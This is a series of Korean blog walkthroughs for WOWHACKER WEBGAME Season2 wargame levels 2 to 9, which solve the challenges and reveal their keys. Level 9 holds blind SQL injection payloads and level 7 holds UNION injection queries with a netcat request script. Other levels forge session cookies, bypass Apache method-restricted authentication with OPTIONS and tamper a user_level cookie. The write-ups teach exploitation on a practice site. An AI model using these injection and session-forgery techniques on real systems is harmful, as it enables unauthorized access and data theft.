해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 

WOWHACKER WEBGAME SEASON2  Level 9 풀이법입니다. 


이번 레벨은 1~7레벨과 달리 별도의 준비물이 필요합니다. 
외부에서 request 패킷을 보내오면 그 패킷에 대해 처리해주는 과정이 필요한데 이를 위해서 외부에서 내 PC로 패킷을 보내올 수 있도록 공인 IP를 할당 받아야 됩니다. 
물론, 현재 공인IP를 쓰고 있다면 한결 수월할겁니다. 
저는 공유기를 쓰고 있어서 목적지 포트가 80인 패킷에 대해  제 PC로 오도록 포트 포워딩(Port forwarding)설정을 해줬습니다. 

기본적인 준비를 마쳤다면 문제를 풀어봅시다. 


추천은 저를 춤추게 합니다 ^^




  • 1단계: 문제 의도 파악하기 

주어진 링크에 들어가면 이런 화면이 나옵니다. 

뭔가 URL을 넣으라는것 같군요. 

와우해커 웹게임 주소를 넣어봅시다. 


서버가 Apache라는 사실과 함께 아래로 다양한 URL에 대한 서버 정보가 보이네요. 
테이블을 가만 보니 DB에서 정보를 불러와서 보여주는것 같다는 느낌이 들죠?


  • 2단계: Blind SQL Injection에 대해 알아보기 

간략하게 SQL Injection과 Blind SQL Injection의 차이점을 알아보자면.. 
Blind 는 결과 값을 화면에 보여주지 않고, 결과 값이 '참(true)' 혹은 '거짓(false)' 인지만 가지고 값을 찾아내는 방법입니다. 
자세한 내용은 와우해커에 잘 설명된 문서가 있으니 참고하시면 될것 같네요. ^^ 




  • 3단계: 웹 서버 구동시키기 

이 글의 맨 아래에 보면 간단하게 실행 가능한 파이썬(Python) 웹 서버 코드를 올려뒀습니다. 
80포트로 GET 패킷이 들어오면 커맨드 라인으로 입력받은 값을 응답으로 보내주도록 한 코드입니다. 

사용 법
$ sudo python level9.py   Apache

우선, 입력값을 'Apache'라고 주고 서버를 실행 시킨 후 ..
와우해커에서 오는 목적지 포트가 80인 패킷에 대해 내 PC로 오게 해두었다는 전재하에.. 
URL에 자신의 공인 IP를 입력해봅시다. 


동일한 결과가 나오는 군요. 


실제로 Wireshark를 실행시켜서 패킷을 덤프해보면 'GET' 패킷이 들어오는것을 알 수 있습니다.



  • 4단계: schema table 탐색하기 

레벨 7의 SQL Injection과 동일하게 'INFORMATION_SCHEMA.TABLES'에서 테이블 이름을 알아내봅시다. 

참고로, 입력값에 길이 제한이 있으니 가능한 빈칸은 없게 해야 합니다. 

명령어 예제
$ sudo python level9.py   "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1)) > 100#"


SQL 명령을 주고 서버를 실행 한 후 아래와 같이 테이블에 아무내용도 나오지 않는다면 거짓(False)인 겁니다. 


만약, 아래와 같이 어떤 데이터가 나온다면 참(True)인 겁니다. 



즉, 특정 필드의 값을 알수 있다는 의미인거죠. 


처음에는 크기 비교 부등호 (>,<)를 이용해서 범위를 좁혀다가다 최종 확인은 같은지 비교하는 부등호(=) 를 써서 확인 하면 됩니다. 

아래 명령으로 테이블 이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1))=114#"  
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),2,1))=101#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),3,1))=97#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),4,1))=100#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),5,1))=109#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),6,1))=101#" 


ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'readme'라는 테이블이 존재함을 알 수 있습니다. 
물론, 다른 테이블도 존재하지만 문제와 상관없는 테이블들 이므로 무시하겠습니다. 


  • 5단계: schema column 탐색 

이번에는 'INFORMATION_SCHEMA.COLUMNS'에서 열(column)값을 알아봅시다. 

아래 명령으로 열(column)이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),1,1))=118#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),2,1))=97#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),3,1))=108#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),4,1))=117#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),5,1))=101#" 

ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'value'라는 열(column)이 존재함을 알 수 있습니다. 


  • 6단계: 키 값 찾기

database와 관련된 필요한 정보는 모두 찾았습니다.
이제 실제 키 값만 찾으면 되겠군요. 

한 글자 한 글자 찾는 과정이 노가다도 이런 노가다가 없네요.
안들려

키 값을 찾기 위해 아래와 같은 명령을 실행하면 됩니다. 

'-1\' or ascii(substr((select value from readme),1,1)) = 87#'       
'-1\' or ascii(substr((select value from readme),2,1)) = 101#'     
'-1\' or ascii(substr((select value from readme),3,1)) = 98#'        
'-1\' or ascii(substr((select value from readme),4,1)) = 71 #'      
'-1\' or ascii(substr((select value from readme),5,1)) = 97 #'       
'-1\' or ascii(substr((select value from readme),6,1)) = 109 #'    
'-1\' or ascii(substr((select value from readme),7,1)) = 101 #'     
'-1\' or ascii(substr((select value from readme),8,1)) = 73 #'        
'-1\' or ascii(substr((select value from readme),9,1)) = 115 #'     
'-1\' or ascii(substr((select value from readme),10,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),11,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),12,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),13,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),14,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),15,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),16,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),17,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),18,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),19,1)) = 70 #'      
'-1\' or ascii(substr((select value from readme),20,1)) = 117 #'    
'-1\' or ascii(substr((select value from readme),21,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),22,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  121 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  33 #'     


드디어 결과가 나왔습니다. 

오랜시간 삽질 하느라 수고하셨습니다. ^^ 
축하2


예의상 답은 스스로 알아보시라고 적지 않겠습니다~ 

  • 별첨: 파이썬(Python) 웹서버 코드 : 



Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 7 풀이법입니다. 


링크: http://webgame.wowhacker.com/AuThWithMySQL



주어진 링크를 따라 들어가봅시다. 



HTTP 인증창이 뜨는군요. 

우선 링크를 다시 보니  'Auth with MySQL' 이라고 되어 있네요. 아마도 MySQL 인증과 관련된 문제인것 같습니다. 


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^


  • 1단계: User Name 알아내기 


우선 가벼운 마음으로 guest/guest로 로그인을 시도해 봅시다. 



헐~ 그냥 로그인이 되는군요. 

흐뭇한 마음으로 내용을 살펴 봤더니 별로 의미 없는 데이터만 있는것 같군요. 

그나마 name, group, address, phone number, hitnum 같은 데이터가 들어있다는걸 참고 할 수는 있겠네요. 


우리가 알고 싶은건 guest에 대한 정보고 아니니 관리자에 대한 계정 정보를 더 찾아봅시다. 


Level5에서 했던 메소드(method)변경을 통한 인증 우회가 생각 나는군요. 

밑져야 본전이니 시도해봅시다. 


http://kthan.tistory.com/163 <-- 메소드 변경을 통한 인증 우회기법 보러가기 


'Dev HTTP Client'를 실행해서 링크 정보를 넣고  메소드를 'OPTIONS'로 변경 한 후 

'HEADERS'필드에 인증 정보를 넣어줍시다. 

인증 정보는 '계정명:비밀번호'를 base64 인코딩 한 값이 들어갑니다.  

양식은 아래와 같습니다. 


 Authorization: Basic YWRtaW46YWRtaW4K


관련 설정을 마친 후에 'Send' 아이콘을 클릭해주면 됩니다. 


'admin'이란 계정이 존재하나 봅니다. 관련 정보도 모두 보이네요. 

왠지 술술 풀리는 기분이 드는군요. 


기쁨도 잠시.. 비밀번호에 해당하는 정보는 보이지 않고 뭔가 힌트가 될만한 정보도 없어 보입니다. 


다시 한번 URL에 있던 'MySQL'이란 단어를 떠올려 봅시다. 

이 문제는 'admin' 인증을 우회하는 문제가 아니라 'SQL Injection'을 통해 뭔가를 알아내야 하는 문제인가 봅니다. 

아쉬움을 털어 버리고 본격적으로 SQL Injection을 시도해봅시다. 



  • 2단계: DB 테이블 갯수 알아내기 


먼저 1단계에서 테이블의 열(column)의 갯수가 5개 + a 정도 될것이란걸 알게 됐죠. 

하지만, 어디까지나 추측일 뿐 정확히 갯수를 알아보기 위해 아래와 같은 쿼리문을 보내봅시다. 


방법은 1단계에서와 같이 인증 정보를 Base64 인코딩을 한 후 보내면 됩니다. 


Base64 인코딩은 웹사이트에서도 가능하고 우분투(리눅스)환경에서는 아래 명령으로 간단하게 실행 할 수 있습니다. 


$ echo "text" | base64 -w 0

dGV4dAo=


다음 MySQL 명령의 숫자값을 순차적으로 증가시켜 가면서 패킷을 전송해봅시다. 


guest' order by 1#


이 명령은 'guest' 계정으로 가져온 결과값을 '1'번째 열(column)을 기준삼아 보여주라는 의미가 됩니다. 

저 숫자가 '7'이 되면 아래와 같은 오류 메시지가 나오게 됩니다. 



'7'번째 열(column)이 없어서 나온 오류입니다. 


참고로, HEADERS에 넣은 값은 아래 명령으로 구했습니다. 


$ echo "guest' order by 7#:guest" | base64 -w 0

Z3Vlc3QnIG9yZGVyIGJ5IDcjOmd1ZXN0Cg==



이제 테이블의 열(column)이 6개라는걸 알게 됐습니다. 



  • 3단계: schema table 탐색


MySQL을 사용하게 되면 'INFORMATION_SCHEMA'가 모든 테이블의 열(column)의 이름을 가지고 있습니다. 

모든 다른 테이블의 이름을 갖는 'INFORMATION_SCHEMA'의 테이블 이름은 'INFORMATION_SCHEMA.TABLES' 입니다. 

'INFORMATION_SCHEMA.TABLES'의 정보를 갖는 열(column)의 이름을 'table_name'이라고 합니다. 


먼저 이 값들을 찾아봅시다. 


여기서 부터는 쿼리문만 적겠습니다. 위에서 했던 방식데로 Base64인코딩 후 테스트 하시면 됩니다. 


"-1' union select table_name,2,3,4,5,6 from information_schema.tables limit 0,1#"


이 쿼리문의 의미를 단계별로 살펴봅시다. 


  • -1' 는 일부러 매치되는 값이 없도록 하기 위해 잘못된 값을 주는 겁니다. 
  • UNION 은 뒤에 오는 쿼리문을 실행 할 수 있도록 해주는 접속 명령어 정도로 생각하시면 됩니다. 
  • SELECT FROM 은 MySQL 기본 쿼리문으로 FROM 뒤에 오는 테이블에서 SELECT뒤에 오는 내용을 가져와서 보여줘라는 의미입니다. 
  • table_name 은 'INFORMATION_SCHEMA.TABLES'에서 테이블 명을 보여주기 위한 이름입니다. 
  • limit 은 보여줄 값을 지정해주는 명령으로 뒤에 '시작위치,표시갯수'와 같은 형식으로 표현하는게 가능합니다. 즉, '0,1'은 처음위치에서 1개의 값을 보여주라는 의미입니다. 이 옵션을 쓰지 않으면 항상 테이블의 처음 값만 보여지게 됩니다. 


이제 쿼리문을 이해 했다면 인코딩한 값으로 패킷을 날려봅시다. 


쿼리문이 화면에 나오고 'table_name'에 해당하는 값이 1번째 열(column)인 'name' 위치에 보여지는걸 확인 할 수 있습니다. 

limit의 시작위치값을 0에서 부터 순차적으로 증가시켜 가면서 다른 값들도 찾아봅시다. 


값을 정리해보면 다음과 같습니다. 

 순번

값 

 0

 CHARACTER_SETS

 1

 COLLATIONS

 2

 COLLATION_CHARACTER_SET_APPLICABILITY

 3

 COLUMNS

 4

 COLUMN_PRIVILEGES

 5

 KEY_COLUMN_USAGE

 6

 PROFILING

 7

 ROUTINES

 8

 SCHEMATA

 9

 SCHEMA_PRIVILEGES
 10 STATISTICS

 11

 TABLES

 12

 TABLE_CONSTRAINTS

 13

 TABLE_PRIVILEGES

 14

 TRIGGERS

 15

 USER_PRIVILEGES

 16

 VIEWS

 17

 keytable

 18

 user_info


우리가 관심을 가져야 할 건 맨 아래있는 'keytable'과 'user_info'입니다. 

이름만 봐도 우리가 원하는 내용이 저기에 있을것 같다는 생각이 들지 않나요? 



  • 4단계: schema column 탐색


MySQL의 모든 다른 열(column)의 이름을 갖는 'INFORMATION_SCHEMA'의 테이블을 'INFORMATION_SCHEMA.COLUMNS'라고 부릅니다. 

'INFORMATION_SCHEMA.COLUMNS'의 정보를 갖는 열(column)의 이름을 'column_name'이라고 합니다. 


3단계에서 알게된 'keytable'에 대해 'INFORMATION_SCHEMA.COLUMNS'를 구해봅시다. 


쿼리문은 다음과 같은 형식으로 하면 됩니다. 


"-1' union select column_name,2,3,4,5,6 from information_schema.columns where table_name='keytable' limit 0,1#


쿼리문의 의미를 살펴보면 


SELECT FROM WHERE 는 FROM 뒤에 오는 테이블에서 WHERE 뒤에 오는 조건에 해당에 해당되는 값 중에서 SELECT뒤에 오는 내용을 보여주라는 의미입니다. 

다른 내용은 3단계에서와 동일하므로 생략하겠습니다. 


이제 Base64로 인코딩해서 패킷을 전송해 봅시다. 


'keytable'의 첫번 째 열(column)의 값은 'no'라는걸 알 수 있습니다. 

이와 같은 방식으로 limit의 시작위치 값을 증가 시켜가면서 다른 정보도 알아봅시다. 


 순번

 값 

 1

 no 

 2 value



  • 5단계: 테이블의 값 알아보기 


지금까지 알아낸 정보들을 가지고 'keytable'에 들어있는 값들을 알아봅시다. 


값을 알아보기 위한 쿼리문 입니다. 


"-1' union select no,2,value,4,5,6 from keytable#"


쿼리문의 의미를 살펴보면

keytable에서 no와 value값을 보여주라는 의미가 됩니다. 

'no'와 'value'를 1,3 번 위치에 쓴 이유는 2번은 password로 추정되는 값이 들어가 있다보니 화면상에 보여지지 않기 때문입니다. 


이제 패킷을 전송해봅시다. 


결과 화면에 'value'에 해당하는 값이 'group'에 표시 됐네요. 


If you dream it, you can do it


이 값을 가지고 사이트에서 인증하시면 됩니다. 



  • 여담. 


매번 쿼리문을 인코딩하는게 번거롭다면 우분투(리눅스)환경에서 패킷을 전송하는 스크립트를 작성해서 하면 더욱 편리합니다. 

제가 작성해서 사용한 스크립트 입니다. 


#!/bin/bash


AUTH=$(echo "$1:$2" | base64 -w 0 )


echo -ne "OPTIONS http://webgame.wowhacker.com/AuThWithMySQL/ HTTP/1.1\r\n\

Accept: text/html, application/xhtml+xml, */*\r\n\

Accept-Language: ko-KR\r\n\

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\n\

Authorization: Basic $AUTH\r\n\

DNT: 1\r\n\

Proxy-Connection: Keep-Alive\r\n\

Pragma: no-cache\r\n\

Host: webgame.wowhacker.com\r\n\r\n" \

| nc webgame.wowhacker.com 80


간략하게 설명을 드리자면..


  • ID와 PW를 입력받아서 Base64 인코딩을 수행한 후 
  • 와이어샤크(wireshark)로 잡은 패킷을 복사해서 붙여 넣은 후 
  • 메소드(method)와 인증 정보만 수정해서
  • nc(netcat)을 사용해서 보내도록 한 겁니다. 


스크립트 실행은 계정 정보와 비밀번호를 입력값으로 주면 되구요.. 계정 정보만 입력해도 정상 동작합니다. 


$ ./level7.sh "admin' order by 1#"


Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 5 풀이법입니다. 


링크: http://webgame.wowhacker.com/UhaveToAuth


주어진 링크를 따라 들어가봅시다. 



다짜고자 이름과 비밀번호를 묻는 창이 뜨는군요. 

인증을 해야만 들어갈 수 있나 봅니다.


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^



  • 1단계: 취약점 알아보기  


아파치 서버는 웹 인증을 통해 접근을 제어할 수 있습니다. 

'<Limit GET POST PUT>' 처럼 특정 메소드(method)를 지정해주는게 가능합니다. 


문제는 이렇게 하면 지정한 메소드이외의 메소드에 대해서는 인증 절차를 거치지 않고 바로 접근이 가능한 취약점이 있답니다. 


기본적으로 인증 팝업창을 통해서 인증을 시도하게 되면 'GET' 메소드를 사용하게 되는데 이 메소드만 살짝 바꿔서 인증이 우회 되는지 확인해 봅시다. 



  • 2단계: 메소드 편집 툴 설치 


메소드를 변경하는 다양한 방법이 있겠지만 개인적으로 크롬(chrome)을 선호하기에 크롬에서 가능한 방법을 소개하고자 합니다. 

먼저 크롬 앱 스토어에서 'Dev HTTP Client'를 검색해서 설치해봅시다. 



설치를 완료했다면 실행해봅시다. 


플러그인이 아니므로 브라우저 우측 상단에 보이지 않습니다. 

새로운 탭에서 하단의 'Apps'를 선택해야 보입니다. 



위에 보이는 화살표 모양 아이콘을 클릭하면 실행 됩니다. 



정상적으로 실행 된다면 이런 화면이 뜰겁니다. 



  • 3단계: 아파치 인증 우회하기 


URL 입력창에 Level 5 주소를 입력하고 Method를 'POST'로 변경해서 'Send'를 해 봅시다. 



하단부에 결과가 나오는게 보입니다. 

역시나 'POST' 메소드도 제한이 걸려 있나 봅니다. 


여기서 포기하지 말고 다른 메소드로도 시도해 봅시다. 


'OPTIONS' 메소드로 하면.. 



지금까지와 달리 다른 메시지가 나오는걸 볼 수 있습니다. 

내용을 보니 Key 정보까지 보이는 군요. 


이번 레벨은 참 허무(?)하게 성공했네요. 

어쨌든 축하합니다. 


Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 4 풀이법입니다. 


링크: http://webgame.wowhacker.com/wlv4game/


주어진 링크를 따라 들어가 봅시다. 


로그인 화면이 나오는 군요. 



친절하게 guest 계정의 로그인 정보까지 적어놨군요.

자! 단계별로 차근 차근 풀어봅시다. 



추천은 저를 춤추게 합니다 ^^



  • 1단계: guest 세션키 정보 분석


먼저 guest 계정으로 로그인 해봅시다. 


여기저기 링크가 있군요. 기웃기웃 거려 봅시다. 

혹시 중요한 힌트가 숨겨져 있을지도 모르니깐요. 


'Query' 입력란도 있군요. (아쉽게도 함정입니다. 단순히 경고창만 띄워주도록 되어 있습니다.)

그외에는 별 다른게 없어 보입니다. 


그럼 쿠키 값을 살펴 봐야겠죠? 


크롬(chrome) 브라우저의  'Edit This Cookie' 플러그인을 설치해봅시다. 


크롬의 우측 상단에 쿠키 모양 아이콘을 클릭하면 아래와 같은 창이 뜹니다. 


'WOWSESSIONID' 필드에 보면 왠 값이 들어있네요. 

흠.. 왠지 MD5 해쉬 값인것 처럼 보이는 군요. 


구글에서 MD5 decrypt 를 해주는 사이트를 찾아 들어가봅시다. 

※ 이론적으로 MD5 해쉬는 복호화 할 수 없지만.. DB에 다양한 값들의 해쉬값을 가지고 있으면서 복호화를 수행해주는 사이트가 다수 존재합니다. 



디코드 필드에 복사해온 값을 붙여 넣고 복호화를 시도해봅시다. 


http://md5.web-max.ca/


어라? 복사한 값의 절반 정도만 붙여넣기가 되네요.  

오호라~ 값 2개가 붙어 있나봅니다. 생각중


어쨌든 앞 부분은 복호화를 했더니 'guest'라는 문자열이라고 나옵니다. 

접속 계정의 ID를 MD5 해쉬로 한 값이 앞 부분이라는걸 알아냈군요. 


뒷 부분을 마저 붙여넣기 하고 복호화 해봤더니 찾을 수 없다고 나옵니다. 잘 알려진 패턴은 아닌가 보네요. 



로그아웃 하고 다시 한번 'WOWSESSIONID' 값을 확인해봅시다. 


클릭하면 큰 그림을 볼 수 있어요~ 


'guest'에 해당하는 값은 그대로인데 뒷 부분 값은 변했네요. 

 왠지 접속 시간을 이용해서 'WEBSESSIONID'를 만드는것 같다는 느낌이 드는군요. 


접속 시간인 'LoginTime: 2013-06-05 09:26:27' 값을 timestamp로 변환해 봅시다. 


웹에서 하고 싶으시다면 아래 사이트에서 변환하면 됩니다. 


http://www.epochconverter.com/

local time으로 설정 한 후 timestamp를 생성하면 됩니다. 


물론, Linux(Ubuntu)에서 bash로 변환하는 방법도 있습니다. 

date 명령을 이용하면 쉽게 timestamp값을 구할 수 있죠. 


$ date +%s -d "20130605 09:26:27"

1370391987



여기서 나온 값을 가지고 MD5 해쉬를 구해봅시다. 



물론, MD5 해쉬도 Ubuntu(Linux) 에서 변환하는 방법이 있습니다. 

md5sum 명령어를 활용하면 손쉽게 구할 수 있죠. 


$ echo -n 1370391987 | md5sum

9c90960cf8ec5b1f4e32062884a33ec6  -


결과가 나왔네요. 


9c90960cf8ec5b1f4e32062884a33ec6 


WOWSESSIONID의 time 값과 일치하는 값입니다. 


이것으로 세션키는 접속 계정의 ID 와 접속 시간의 timestamp값의 MD5 해쉬 값이란걸 알게 됐습니다. 



※간혹 위와 동일하게 수행하더라도 결과값이 제대로 나오지 않는 경우가 있습니다. 

원인은 제가 문제 출제자가 아니다 보니 .. 잘 모르겠네요. 



  • 2단계: 관리자 세션키 - 앞 부분 구하기 


현재 접속해 있는 사람 중 'admin'이란 계정이 있는데, 딱 봐도 관리자 계정일거란 생각이 드네요. 

'admin'이란 문자열을 MD5 해쉬한 값을 구해봅시다. 


http://www.md5hashgenerator.com/



  • 3단계: 관리자 세션키 - 뒷 부분 구하기

 이제 'admin'의 접속 시간을 MD5 해쉬한 값을 구해서 세션키를 바꿔치기 해 봅시다. 

그런데.. 'admin'이 언제 접속했는지 어떻게 알아야 할까요?


보아하니 화면 중앙에 있는 공지글을 'admin'이 썼을 테니.. 

최소한 최초 글을 쓰기 이전에 접속을 했겠군요. 



이제 접속 시간을 알아내봐야 할 시간입니다. 


이제 저 삽질하는 이미지의 의미가 이해가 되면서 몸에 와닿기 시작하네요. 

'로그인 시간을 열심히 삽질해서 알아내 봐라!' 라는 의미겠죠? 부처



MD5해쉬 값을 구하기 어려우니 bash로 구해봅시다. 

시간을 넉넉히 잡아 9시 11분 부터 최초 글을 작성한 9시 12분 21초 까지 값을 MD5 해쉬를 수행해봅시다. 


저는 ubuntu에서 아래 명령어로 생성했습니다. 


$ for ((i = 1213056660; i < 1213056741; i++)) ; do  echo -n $i | md5sum  >> mf5_hash.txt; done


내용이 너무 길어서 접어뒀습니다. 보고 싶으신 분들은 아래 클릭! 


이제 'admin'의 해쉬값인 '21232f297a57a5a743894a0e4a801fc3'와 timestamp의 해쉬 값들을 조합해서 열심히 쿠키를 바꿔치기 할 차례입니다. 

진정한 삽질이죠. 


결과적으로 '67c90cd08d7a3d88f90e63fe768f5a8c'가 답입니다. 

관리자는 9시 12분 00초에 접속했나봅니다. 


'edit this cookie'의 'WOWSESSIONID' 필드에 지금까지 구한 두 MD5 해쉬 값을 붙여서 넣어봅시다. 


'21232f297a57a5a743894a0e4a801fc367c90cd08d7a3d88f90e63fe768f5a8c



쿠키값을 변조한 후 'Submit cookie changes'를 눌러주면 됩니다. 



  • 4단계: 숨겨진 정답 찾기 


쿠키값 변조를 통해 'admin'으로 접속을 하게 되면 아래와 같은 화면이 나옵니다. 



'guest'로 접속했을 때와 달리 접속 시간 하단부에 'Userlist'라는 링크가 하나 생겼네요. 

궁금하니 클릭해봅시다. 


두둥! 애타게 찾던 정답이 여기 숨어 있었네요. 


guest:guest
admin:nologin
level4:VeRY Good! My Friend!


축하합니다. 다음 단계로 넘어가봅시다! 


Posted by KT한
,


해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 3 풀이법입니다. 


링크: http://webgame.wowhacker.com/weblevel3/list.php


주어진 링크를 따라 들어가 봅시다. 



게시판이 보이고 글이 몇개 보이는 군요. 


첫번째 글을 클릭해봅시다. 



별 내용은 없는데 첨부 파일이 보이네요. 

한 번 클릭해 봅시다. 


새로운 링크페이지가 열리면서 첨부된 파일이 보입니다. 



경로를 보니 뭔가 냄새가 나는것 같죠. 


다른 글에 있는 첨부 파일도 열어 봅시다. 



역시나 비슷한 패턴을 가지고 있는게 보입니다. 

자! 단계별로 차근 차근 풀어봅시다. 



추천은 저를 춤추게 합니다 ^^



  • 1단계: 링크 주소의 비밀 밝혀내기 


링크 주소에 어떤 규칙이 있을 지 곰곰히 생각해 봅시다. 




아하! 글 작성 시간에 있는 값과 링크의 뒷부분 숫자가 같다는걸 알 수 있습니다. 


이제 앞에 있는 값만 알아내면 되겠군요. 


링크 주소 패턴이 MD5 패턴인것 같다는 생각이 듭니다. 

왠지 글을 작성한 시간을 가지고 MD5 해쉬를 수행하면 링크 주소와 같은 패턴이 나올것 같기도 하다는 생각이 듭니다. 



  • 2단계: time stamp값 구하기 


우선 시간값을 time stamp로 변환해봅시다. 

구글에서 'timestamp'로 검색해서 time stamp를 계산해 주는 사이트에 들어가봅니다. 


http://www.epochconverter.com/


게시글의 작성 시간을 입력하고 'Local time'으로 time stamp를 생성해봅시다. 

결과값이 '1161129925'라고 나왔네요



  • 3단계: MD5 해쉬값 구하기 


이 값을 MD5로 변환해봅시다. 

역시나 구글에서 'MD5 hash'로 검색해서 해쉬값을 구해주는 사이트에 들어가봅시다. 


http://www.md5hashgenerator.com/


위에서 구한 time stamp값을 넣고 MD5 해쉬를 구해보면.. 'b72776c5eb0c5a05a7188959a49e1f1b' 라고 나옵니다. 


왠지 낯익은 값이 나온것 같네요. 



빙고! 첨부파일 링크에 있는 값과 동일한 값이 구해졌네요. 



  • 4단계: 비밀글 첨부파일 링크 찾기 


비밀글의 첨부파일 경로를 찾기 위해 비밀글의 작성 시간을 봅시다. 



저 시간을 time stamp로 변환해보면.. '1161499792' 가 나옵니다. 

이 값을 MD5 해쉬를 구해보면 'fb6e412cf733d6b9cdf777cbcafa35c3'가 나옵니다. 


그렇다면 첨부파일의 링크는 어떻게 될까요? 


http://webgame.wowhacker.com/weblevel3/down/fb6e412cf733d6b9cdf777cbcafa35c3.85428900


위의 링크로 들어가 봅시다. 


Level3 key: iwantknowmoreMrjones!


축하합니다. Level 3의 답을 구했군요.  슈퍼맨


Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 2 풀이법입니다. 


링크: http://webgame.wowhacker.com/levelii



level 2 링크를 따라 들어가면 아래와 같은 게시판이 보입니다. 


글을 처음 부터 차례대로 클릭 해보면 몇개의 글은 내용을 볼 수 있는데, "Level 5 이상 읽을 수 있습니다!"와 같은 메시지의 경고창이 뜨면서 읽을 수 없는 글이 몇개 있다는걸 알게 됩니다. 


자! 단계별로 풀어봅시다. 



추천은 저를 춤추게 합니다 ^^



  • 1단계:  쿠키 변조 툴 설치 

chrome 브라우저 'edit this cookie'라는 플러그인을 설치 합니다. 



쿠키를 추가/삭제/편집 등등 할 수 있다고 설명이 나와있네요. 



  • 2 단계: 권한(level) 상승 


브라우저 우측 상단에서 쿠키 아이콘을 클릭하면 설정 창이 뜹니다. 



보면 'user_level'이라는 쿠키가 보이고 값을 입력 할 수 있게 되어있네요. 

레벨의 value를 5로 수정하고 우측 하단의 'submit cookie changes' 버튼을 클릭합니다. 


그리고 4번째 글 'Answer.txt' 을 클릭해봅시다. 좀 전과 달리 글을 볼 수가 있게 됐습니다. 



글을 보니 'Download'를 클릭하면 첨부파일을 다운 받을 수 있게 되어 있습니다.  

첨부파일을 받아서 내용을 보니 password는 아니군요. 


그럼 3번째 글 'Password.txt'를 보면 될것 같다는 생각이 듭니다. 

다시 cookie를 변조해서 'user_level'을 7로 올리고 3번째 글을 클릭해봅시다. 

이상하게 여전히 권한이 없다고 나옵니다. 

아무래도 이 글을 다른 방법을 써야 할것 같네요. 



  • 3단계: 첨부파일 다운 받기


다시 3번째 글을 클릭해봅시다. 

첨부파일의 링크를 복사해서 보니.. 


http://webgame.wowhacker.com/levelii/download.php?table_id=free&page=1&no=3&path=Answer.txt


download.php라는 파일에서 no는 3이고.. 경로는 Answer.txt 라고 되어있군요. 


그럼 4번째 글의 첨부파일 경로가 뭘지 고민해봅시다. 

머리를 조금만 굴리면 아래와 같이 유추가 가능하겠죠?


http://webgame.wowhacker.com/levelii/download.php?table_id=free&page=1&no=4&path=Password.txt


역시나 3번 글의 첨부파일이 다운받아 집니다. 

파일을 열어보니.. password와는 조금 거리가 멀어 보이는 문자열만 잔뜩 들어있네요. 헉4



  • 4단계: base64 디코딩


Password.txt 파일의 내용물은 다음과 같습니다. 


VlVkR2VtTXpaSFpqYlZGblQybENXR0ZIVm5sYVUwSndZM2xDYlZreWRIWmpiVlpvVUhsRg


내용의 패턴을 자세히 보니.. 영문 대/소문자와 숫자로만 이루어져 있군요. 

base64 인코딩 된것 같은 느낌이 듭니다. 생각중


자 디코딩을 해봅시다. 

구글에가서 'base64 decode'를 검색해보면 많은 사이트가 나옵니다. 

그중 하나를 선택해 들어가봅시다. 

제가 들어간 곳은 사이트 이름도 base64 decode랍니다. 


http://www.base64decode.org/


값을 넣고 'DECODE'를 해봅시다. 


어라? 기대했던 password가 아니네요. 


VUdGemMzZHZjbVFnT2lCWGFHVnlaU0JwY3lCbVkydHZjbVZoUHlF


그런데 결과값을 보니 길이는 좀 짧아졌지만 여전히 base 64 인코딩된 값 같다는 느낌을 지울 수가 없네요. 


원래 삼세번이라 했던가요... 다시 decode 해봅시다. 


UGFzc3dvcmQgOiBXaGVyZSBpcyBmY2tvcmVhPyE


역시나 아니네요. 

마지막으로 한 번만 더 해봅시다. 


Password : Where is fckorea?!


다행히도 우리가 기대했던 password가 나왔네요! 슈퍼맨


level 2 클리어! 


Posted by KT한
,